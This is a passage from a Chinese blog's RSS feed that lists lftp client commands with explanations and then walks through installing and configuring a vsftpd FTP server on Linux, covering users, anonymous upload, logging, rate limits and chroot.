style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> file2<br /> <br /> mrm<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">用</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> wildcard expansion </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">方式来删除远端档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> open OPTS<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">开启某个站台</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> open -u , -p site<br /> <br /> queue OPTS []<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cmd </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">放到伫列中等待执行</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -d index </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将编号为</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> index </span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> job </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">删除</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -m index new_index </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将编号为</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> index </span><span style="font-size: 10.0pt;font-family:宋体;color:#333333;">的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> job </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">移至编号</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> new_index, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">插队专用。</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -n index </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">在编号</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> index </span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">之前新增一个</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> job<br /> <br /> wait []<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将背景执行中的程序移至前景</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">也可用</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> fg)<br /> <br /> kill all|<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">删除全部的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> jobs </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">或</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> job_no<br /> <br /> repeat delay command<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">每隔</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> delay </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">秒</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">重覆执行</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> command, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">预设是每隔一秒</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> rm -r -f<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">移除远端档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> mkdir -p<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">建立远端目录</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> rmdir -f<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">移除远端目录</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> set OPT []<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">设定变数</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">直接键入</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> set </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">可看目前定义了那些变数</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> source<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">读取</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> file, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">并执行</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> file </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">中的命令</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">应该是和</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> bash </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">中的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> source </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">命令是一样的吧</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">)<br /> <br /> debug [|off] -o<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">设定</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> debug level </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">为</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> level<br /> -o </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将输出导向至</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> file<br /> <br /> exit [|bg]<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">结束</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> lftp<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">此时若还有</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> jobs, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">则会将</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> lftp </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">放至背景执行</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">继续未完成的工作</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> history -w file-r file-c|-l cnt<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">和</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> bash </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">中的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> history </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">功能一样</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> renlist []<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">只显示远端的档名</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> pwd -p<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">显示目前远端所在目录</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -p </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">连登入密码也显示</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> scache []<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">只打</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> scache </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">显示目前所有的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> session, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">加上</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> session_no </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">可切换至其他的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> session,<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">对於同时开启多个站台或同个站台不同目录间切换。</span></p><img src ="http://www.blogjava.net/kxbin/aggbug/383824.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-24 11:26 <a href="http://www.blogjava.net/kxbin/articles/383824.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>LINUX FTP安装与配置</title><link>http://www.blogjava.net/kxbin/articles/383823.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 24 Jul 2012 03:24:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383823.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383823.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383823.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383823.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383823.html</trackback:ping><description><![CDATA[<div id="blog_content" style="font-size: 14px; line-height: 1.8em; font-family: Helvetica, Tahoma, Arial, sans-serif; text-align: left; "><strong>1.安装vsftpd</strong>&nbsp;<br /><br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=yum%20install%20vsftpd" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /><br /></a><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; ">yum&nbsp;install&nbsp;vsftpd &nbsp;</span></div></div></div><strong>2.启动/重启/关闭vsftpd服务器</strong>&nbsp;<br /><span style="font-weight: bold; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; font-size: 14px; line-height: 1.8em; ">Xml代码&nbsp;</span><embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=%5Broot%40localhost%20ftp%5D%23%20%2Fsbin%2Fservice%20vsftpd%20restart%0AShutting%20down%20vsftpd%3A%20%5B%20OK%20%5D%0AStarting%20vsftpd%20for%20vsftpd%3A%20%5B%20OK%20%5D" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" style="font-weight: bold; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; font-size: 14px; line-height: 1.8em; "><span style="font-weight: bold; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; font-size: 14px; line-height: 1.8em; ">&nbsp;</span><a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="font-weight: bold; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; font-size: 14px; line-height: 1.8em; color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /><br /></a><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; ">[root@localhost&nbsp;ftp]#&nbsp;/sbin/service&nbsp;vsftpd&nbsp;restart &nbsp;<br /></span><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; ">Shutting&nbsp;down&nbsp;vsftpd:&nbsp;[&nbsp;OK&nbsp;] &nbsp;<br /></span><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; ">Starting&nbsp;vsftpd&nbsp;for&nbsp;vsftpd:&nbsp;[&nbsp;OK&nbsp;] &nbsp;</span><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; "><br /></span>OK表示重启成功了.&nbsp;<br />启动和关闭分别把restart改为start/stop即可.如果是源码安装的,<br />到安装文件夹下找到start.sh和shutdown.sh文件,执行它们就可以了.&nbsp;<br /><strong>3.与vsftpd服务器有关的文件和文件夹</strong>&nbsp;<br />vsftpd服务器的配置文件的是: /etc/vsftpd/vsftpd.conf&nbsp;<br />vsftpd服务器的根目录,即FTP服务器的主目录:&nbsp;<br />[root@localhost ftp]# more /etc/passwd|grep ftp&nbsp;<br />ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin&nbsp;<br /><br />这样你就能看到FTP的服务器的目录在/var/ftp处.如果你想修改服务器目录的路径,<br />那么你只要修改/var/ftp到别处就行了&nbsp;<br /><br /><strong>4.添加FTP本地用户</strong>&nbsp;<br />有的FTP服务器需要用户名和密码才能登录,就是因为设置了FTP用户和权限.<br />FTP用户一般是不能登录系统的,只能进入FTP服务器自己的目录中,<br />这是为了安全.这样的用户就叫做虚拟用户.实际上并不是真正的虚拟用户,<br />只是不能登录SHELL了而已,没能力登录系统.&nbsp;<br /><br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=%2Fusr%2Fsbin%2Fadduser%20-d%20%2Fopt%2Fftp%20-g%20ftp%20-s%20%2Fsbin%2Fnologin%20ftpuser" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /><br /></a><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; ">/usr/sbin/adduser&nbsp;-d&nbsp;/opt/ftp&nbsp;-g&nbsp;ftp&nbsp;-s&nbsp;/sbin/nologin&nbsp;ftpuser &nbsp;</span></div></div></div>这个命令的意思是:&nbsp;<br />使用命令(adduser)添加ftpuser用户,不能登录系统(-s /sbin/nologin),自己的文件夹在<br />(-d /opt/ftp)),<br />属于组ftp(-g ftp).然后你需要为它设置密码 passwd ftp.这样就添加了一个FTP用户了.<br />下面的示例可以帮助你进入FTP服务器了.&nbsp;<br />要保证自己能读写自己的目录,就要在配置文件vsftpd.conf里设置一下就可以读写了.&nbsp;<br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=local_enable%3Dyes%0Awrite_enable%3Dyes%0Alocal_umask%3D022" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /></a></div></div><ol start="1" style="font-size: 1em; line-height: 1.4em; margin-left: 0px; padding-top: 2px; padding-bottom: 2px; border: 1px solid #d1d7dc; color: #2b91af; "><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">local_enable</span>=<span style="color: blue; ">yes</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">write_enable</span>=<span style="color: blue; ">yes</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">local_umask</span>=<span style="color: blue; ">022</span>&nbsp;&nbsp;</li></ol></div><strong>5.匿名上传下载</strong>&nbsp;<br />修改配置文件即可vsftpd.conf,确定有以下几行,没有自己添加进去就可以了.&nbsp;<br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=anonymous_enable%3Dyes%0Aanon_upload_enable%3Dyes%0Aanon_mkdir_write_enable%3Dyes%0Aanon_umask%3D022" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /></a></div></div><ol start="1" style="font-size: 1em; line-height: 1.4em; margin-left: 0px; padding-top: 2px; padding-bottom: 2px; border: 1px solid #d1d7dc; color: #2b91af; "><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">anonymous_enable</span>=<span style="color: blue; ">yes</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">anon_upload_enable</span>=<span style="color: blue; ">yes</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">anon_mkdir_write_enable</span>=<span style="color: blue; ">yes</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">anon_umask</span>=<span style="color: blue; ">022</span>&nbsp;&nbsp;</li></ol></div>然后你可以新建一个文件夹,修改它的权限为完全开放,任何用户就可以登录这个文件夹,<br />并上传下载文件:&nbsp;<br /><br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=mkdir%20%2Fvar%2Fftp%2Fguest%0Achmod%20777%20%2Fvar%2Fftp%2Fguest" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /></a></div></div><ol start="1" style="font-size: 1em; line-height: 1.4em; margin-left: 0px; padding-top: 2px; padding-bottom: 2px; border: 1px solid #d1d7dc; color: #2b91af; "><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">mkdir&nbsp;/var/ftp/guest&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">chmod&nbsp;777&nbsp;/var/ftp/guest&nbsp;&nbsp;</li></ol></div><strong>6.定制进入FTP服务器的欢迎信息</strong>&nbsp;<br />在vsftpd.conf文件中设置:&nbsp;<br />dirmessage_enable=yes&nbsp;<br />然后进入用户目录建立一个.message文件,输入欢迎信息即可。&nbsp;<br /><br /><strong>7.实现虚拟路径</strong>&nbsp;<br />将某个目录挂载到FTP服务器下供用户使用,这就叫做虚拟路径.<br />比如将gxl用户的目录挂载到FTP服务器中,供FTP服务器的用户使用,<br />使用如下命令即可:&nbsp;<br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=%5Broot%40localhost%20opt%5D%23%20mount%20%E2%80%93bind%20%2Fhome%2Fgxl%20%2Fvar%2Fftp%2Fpub%20%23%E4%BD%BF%E7%94%A8%E6%8C%82%E8%BD%BD%E5%91%BD%E4%BB%A4%0A%5Broot%40localhost%20opt%5D%23%20ls%20%2Fvar%2Fftp%2Fpub%20LumaQQ%20Screenshot.png%20%E6%A1%8C%E9%9D%A2" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /><br /></a><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; ">[root@localhost&nbsp;opt]#&nbsp;mount&nbsp;&#8211;bind&nbsp;/home/gxl&nbsp;/var/ftp/pub&nbsp;#使用挂载命令 &nbsp;<br /></span><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; ">[root@localhost&nbsp;opt]#&nbsp;ls&nbsp;/var/ftp/pub&nbsp;LumaQQ&nbsp;Screenshot.png&nbsp;桌面 &nbsp;</span></div></div></div><strong>8.打开vsFTPd的日志功能</strong>&nbsp;<br />添加下面一行到vsftpd.conf文件中,一般情况下该文件中有这一行,<br />只要把前面的注释符号#去掉即可,没有的话就添加,或者修改:&nbsp;<br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=xferlog_file%3D%2Fvar%2Flog%2Fvsftpd.log" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /><br /></a><span style="font-size: 1em; line-height: 18px; color: red; ">xferlog_file</span><span style="background-color: #fafafa; font-size: 1em; line-height: 18px; color: #2b91af; ">=/var/log/vsftpd.log &nbsp;</span></div></div></div><strong>9.限制链接数,以及每个IP最大的链接数</strong>&nbsp;<br />修改配置文件中,例如vsftp最大支持链接数100个,每个IP能支持5个链接:&nbsp;<br />max_clients=数字&nbsp;<br />max_per_ip=数字&nbsp;<br /><br /><strong>10.限制传输速度</strong>&nbsp;<br />修改配置文件中,例如让匿名用户和vsftd上的用户(即虚拟用户)<br />都以80KB=1024*80=81920的速度下载&nbsp;<br />anon_max_rate=81920&nbsp;<br />local_max_rate=81920&nbsp;<br /><br /><strong>11.将用户(一般指虚拟用户)限制在自家目录</strong>&nbsp;<br />修改配置文件中,这样用户就只能访问自己家的目录了:chroot_local_user=yes&nbsp;<br />如果只想某些用户仅能访问自己的目录,其它用户不做这个限制,<br />那么就需要在chroot_list文件(此文件一般是在/etc/vsftpd/中)中添加此用户.<br />编辑此文件,比如将test用户添加到此文件中,那么将其写入即可.一般的话,一个用户占一行.&nbsp;<br /><br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=%5Broot%40localhost%20vsftpd%5D%23%20cat%20chroot_list%0Aftpuser" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /></a></div></div><ol start="1" style="font-size: 1em; line-height: 1.4em; margin-left: 0px; padding-top: 2px; padding-bottom: 2px; border: 1px solid #d1d7dc; color: #2b91af; "><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">[root@localhost&nbsp;vsftpd]#&nbsp;cat&nbsp;chroot_list&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">ftpuser&nbsp;&nbsp;</li></ol></div><strong>12.绑定某个IP到vsFTPd</strong>&nbsp;<br />有时候要限制某些IP访问服务器,只允许某些IP访问,<br 